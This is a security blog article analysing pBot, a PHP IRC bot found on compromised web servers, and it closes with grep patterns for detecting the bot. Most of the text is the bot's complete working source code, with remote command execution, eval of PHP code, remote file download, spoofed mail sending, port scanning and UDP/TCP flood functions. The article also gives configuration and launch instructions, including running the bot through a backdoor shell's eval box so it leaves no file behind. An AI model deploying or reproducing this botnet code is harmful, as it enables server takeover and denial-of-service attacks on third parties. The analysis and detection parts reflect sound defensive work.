Analysis on pBot - a PHP IRC Bot that has Malicious Functions
For IRC enthusiasts like me, it's just common to encounter IRC bots in underground channels that have integrated functions like port scanning, nmap, SQL Injection Scanners, Remote File Inclusion scanners, Local File Inclusion scanners, Credit Card Checkers, Automatic Vulnerability Scanners that automates shell spawning and many more.
![Learn Network Security Fundamentals](/contentassets/3bbd529d0b8e4b0e9e275cc95f242670/networkconnection-infosecblue-icon.png)
Learn Network Security Fundamentals
Learn Network Security Fundamentals
These IRC botnets or bots are usually coded in languages like Perl, PHP and Python; and most of them are available on pastebin. Pastebin has really good resources on open source codes used by malicious attackers or crackers. As long as you know how to search for the right keyword, you should be able to get codes that are used by some attackers.
In my previous researches and analysis, some of these bots are hosted on a hacked or rooted boxes or even websites that have backdoor shells. In this article, we will try to take a look on pBot which is an IRC Bot coded in PHP that has similar functions to a backdoor shell and with stress testing functions. My first encounter with the script of pBot was in pastebin then next is from a hacked website that I was cleaning for backdoors and botnets.
I decided to share the full script of the said PHP IRC Bot in this article just for the sake of educational purposes and analysis on the script. Here is the script without a configuration for connecting to an IRC yet:
<? set_time_limit(0); error_reporting(0); class pBot { var $config = array("server"=>"", "port"=>, "pass"=>"", "prefix"=>"", "maxrand"=>4, "chan"=>"", "key"=>"", "modes"=>"+iB-x", "password"=>"", "trigger"=>"!", "hostauth"=>"*" // * for any hostname ); var $users = array(); function start() { if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start(); $ident = ""; $alph = range("a","z"); for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,25)]; if(strlen($this->config['pass'])>0) $this->send("PASS ".$this->config['pass']); $this->send("USER $ident 127.0.0.1 localhost :$ident"); $this->set_nick(); $this->main(); } function main() { while(!feof($this->conn)) { $this->buf = trim(fgets($this->conn,512)); $cmd = explode(" ",$this->buf); if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); } if(isset($cmd[1]) && $cmd[1] =="001") { $this->send("MODE ".$this->nick." ".$this->config['modes']); $this->join($this->config['chan'],$this->config['key']); } if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); } if($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf," :"),2); $msgcmd = explode(" ",$msg); $nick = explode("!",$cmd[0]); $vhost = explode("@",$nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0],1); $host = $cmd[0]; if($msgcmd[0]==$this->nick) { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1]; } else { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i]; } if(count($cmd)>2) { switch($cmd[1]) { case "QUIT": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PART": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PRIVMSG": if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) { if(substr($mcmd[0],0,1)==".") { switch(substr($mcmd[0],1)) { case "user": if($mcmd[1]==$this->config['password']) { $this->privmsg($this->config['chan'],"[2auth2]: $nick logged in"); $this->log_in($host); } else { $this->privmsg($this->config['chan'],"[2auth2]: Incorrect password from $nick"); } break; } } } elseif($this->is_logged_in($host)) { if(substr($mcmd[0],0,1)==".") { switch(substr($mcmd[0],1)) { case "restart": $this->send("QUIT :restart"); fclose($this->conn); $this->start(); break; case "mail": //mail to from subject message if(count($mcmd)>4) { $header = "From: <".$mcmd[2].">"; if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) { $this->privmsg($this->config['chan'],"[2mail2]: Unable to send"); } else { $this->privmsg($this->config['chan'],"[2mail2]: Message sent to 2".$mcmd[1]."2"); } } break; case "dns": if(isset($mcmd[1])) { $ip = explode(".",$mcmd[1]); if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); } else { $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); } } break; case "info": $this->privmsg($this->config['chan'],"[2info2]: [2httpd2: ".$_SERVER['SERVER_SOFTWARE']."] [2docroot2: ".$_SERVER['DOCUMENT_ROOT']."] [2domain2: ".$_SERVER['SERVER_NAME']."] [2admin2: ".$_SERVER['SERVER_ADMIN']."] [2url2:".$_SERVER['REQUEST_URI']."]"); break; case "cmd": if(isset($mcmd[1])) { $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $this->privmsg($this->config['chan'],"[2cmd2]: $command"); $pipe = popen($command,"r"); while(!feof($pipe)) { $pbuf = trim(fgets($pipe,512)); if($pbuf != NULL) $this->privmsg($this->config['chan']," : $pbuf"); } pclose($pipe); } break; case "rndnick": $this->set_nick(); break; case "raw": $this->send(strstr($msg,$mcmd[1])); break; case "php": $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1]))); break; case "exec": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = shell_exec($command); $ret = explode("n",$exec); $this->privmsg($this->config['chan'],"[2exec2]: $command"); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "pscan": // .pscan 127.0.0.1 6667 if(count($mcmd) > 2) { if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) $this->privmsg($this->config['chan'],"[2pscan2]: ".$mcmd[1].":".$mcmd[2]." is 2open2"); else $this->privmsg($this->config['chan'],"[2pscan2]: ".$mcmd[1].":".$mcmd[2]." is 2closed2"); } break; case "ud.server": // .udserver <server> <port> [password] if(count($mcmd)>2) { $this->config['server'] = $mcmd[1]; $this->config['port'] = $mcmd[2]; if(isset($mcmcd[3])) { $this->config['pass'] = $mcmd[3]; $this->privmsg($this->config['chan'],"[2update2]: Changed server to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]); } else { $this->privmsg($this->config['chan'],"[2update2]: Changed server to ".$mcmd[1].":".$mcmd[2]); } } break; case "download": if(count($mcmd) > 2) { if(!$fp = fopen($mcmd[2],"w")) { $this->privmsg($this->config['chan'],"[2download2]: Cannot download, permission denied."); } else { if(!$get = file($mcmd[1])) { $this->privmsg($this->config['chan'],"[2download2]: Unable to download from 2".$mcmd[1]."2"); } else { for($i=0;$i<=count($get);$i++) { fwrite($fp,$get[$i]); } $this->privmsg($this->config['chan'],"[2download2]: File 2".$mcmd[1]."2 downloaded to 2".$mcmd[2]."2"); } fclose($fp); } } break; case "die": $this->send("QUIT :die command from $nick"); fclose($this->conn); exit; case "logout": $this->log_out($host); $this->privmsg($this->config['chan'],"[2auth2]: $nick logged out"); break; case "udpflood": if(count($mcmd)>4) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]); } break; case "tcpflood": if(count($mcmd)>5) { $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]); } break; } } } break; } } } $old_buf = $this->buf; } $this->start(); } function send($msg) { fwrite($this->conn,"$msgrn"); } function join($chan,$key=NULL) { $this->send("JOIN $chan $key"); } function privmsg($to,$msg) { $this->send("PRIVMSG $to :$msg"); } function is_logged_in($host) { if(isset($this->users[$host])) return 1; else return 0; } function log_in($host) { $this->users[$host] = true; } function log_out($host) { unset($this->users[$host]); } function set_nick() { if(isset($_SERVER['SERVER_SOFTWARE'])) { if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) $this->nick = "[A]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) $this->nick = "[I]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) $this->nick = "[X]"; else $this->nick = "[U]"; } else { $this->nick = "[C]"; } $this->nick .= $this->config['prefix']; for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9); $this->send("NICK ".$this->nick); } function udpflood($host,$packets,$packetsize,$delay) { $this->privmsg($this->config['chan'],"[2udpflood2]: Sending $packets packets to $host. Packet size: $packetsize"); $packet = ""; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) { if(!$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5)) { $this->privmsg($this->config['chan'],"[2udpflood2]: Error: <$e>"); return 0; } else { fwrite($fp,$packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config['chan'],"[2udpflood2]: Finished sending $packets packets to $host."); } function tcpflood($host,$packets,$packetsize,$port,$delay) { $this->privmsg($this->config['chan'],"[2tcpflood2]: Sending $packets packets to $host:$port. Packet size: $packetsize"); $packet = ""; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) { if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) { $this->privmsg($this->config['chan'],"[2tcpflood2]: Error: <$e>"); return 0; } else { fwrite($fp,$packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config['chan'],"[2tcpflood2]: Finished sending $packets packets to $host:$port."); } } $bot = new pBot; $bot->start(); ?>
We will not deal on the codes one by one but we will enumerate some of the functions and commands for this PHP IRC bot based on the code. Like I said that the script I just showed is not yet configured to connect to IRC so the first thing that we need to do is to put the IRC server, name, password, port and channel where the IRC bot should connect to. Below is a sample configuration with comments about what to put:
"port"=>6667, //port (the default port for connecting to IRC is 6667) "pass"=>"", // password of the channel if there is any "prefix"=>"infosecinstibot|", //nickname of the bot "chan"=>"#rootcon", //channelvar $config = array("server"=>"irc.freenode.net", // IRC server
After configuring the connection, we can run the script by typing the following command in the terminal:
php filenameofthebot.php
Some people don't wanna leave a trace of their script so they can just execute their PHP IRC bot without saving the file in the web server, by pasting the whole script under the eval PHP code dialog box of a backdoor shell and press the Execute button.
Alright now our bot is connected to the IRC channel.
I'm using my own Linux web server to run this IRC bot.
The PHP IRC Bot has commands and below are the commands you can try based on the script:
.user <password> = Used for logging in the bot so that it accepts other commands. The password is what you inputted for the configuration "password"=>"". In my case I used shipcode so the command should be .user shipcode. You become the master of the bot after it says $username logged in.
.logout = For logging out the bot.
.die = Kills the process of the bot thus ending the connection of the bot to the IRC server.
.restart = Restarts the bot.
.mail <to> <from> <subject> <msg> = For sending a mail based on the line if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)). This can be used for spamming too because you can just create non-existent emails for the <from> argument.
.dns = Does a DNS lookup.
.download <URL> <filename> = Allows the user to download a file and name the output of the file after the appended URL.
.exec <command> = Executes a command using the exec() function.
.cmd <command> // Executes a command using the popen() function.
.info = Gets the system information
.php <php code> = Executes a php code using the eval() function.
.tcpflood <target> <packets> <packetsize> <port> <delay> = Executes a Tcpflood attack based on function tcpflood($host,$packets,$packetsize,$port,$delay). If the amount of packets has been delivered the bot echoes "Finished sending $packets packets to $host:$port".
.udpflood <target> <packets> <packetsize> <delay> = Executes a Udpflood attack.
.raw <cmd> = raw IRC command.
.rndnick = Changes the nickname of the bot.
.pscan <host> <port> = Checks if a certain port of a host is open.
.safe = Tests safe_mode
.inbox <to> = Tests inbox
.conback <ip> <port> = Connect back function
Based on the commands enumerated, this PHP IRC bot is very risky because it can still be considered a backdoor because it allows an attacker or user to execute arbitrary commands. Also it can be used for performing DoS or Denial of Service attacks because of the udpflood and tcpflood functions.
Removing or Detecting This PHP IRC Bot
Just like getting rid of suspicious PHP files or backdoor shells, we could locate PHP IRC bots with the use of grep command in your terminal emulator as long as you have access to your web server. But with the PHP IRC bot or pBot having a lot of functions in its php code how can we refine our probing our scanning easier?
Simple, use the obvious functions that most IRC bots use! Because pBot has malicious functions like udpflood and tcpflood, we could use this functions to locate this pesky script easier. For example:
grep -Rn "tcpflood *(" /var/www
grep -Rn "udpflood *(" /var/www
And just like the ordinary backdoor shell, it also uses a shell_exec function so you might wanna grep this function too. To list all the three functions in just one grep command we could just type:
grep -RPn "(shell_exec|tcpflood|udpflood) *(" /var/www/
If your focus is just to find this malicious script alone, then I suggest grepping only these three functions for refined results because adding more could also detect other php scripts which may not be malicious at all.
Other functions you could also grep for double checking: fopen, flcose, privmsg, eval, mail, fsockopen, and fwrite.
Learn Network Security Fundamentals
![Learn Network Security Fundamentals](/contentassets/3bbd529d0b8e4b0e9e275cc95f242670/networkconnection-infosecblue-icon.png)
Learn Network Security Fundamentals
After being sure that the code is a pBot, the next thing you should do is to remove it and restart your server.
References: pastebin.com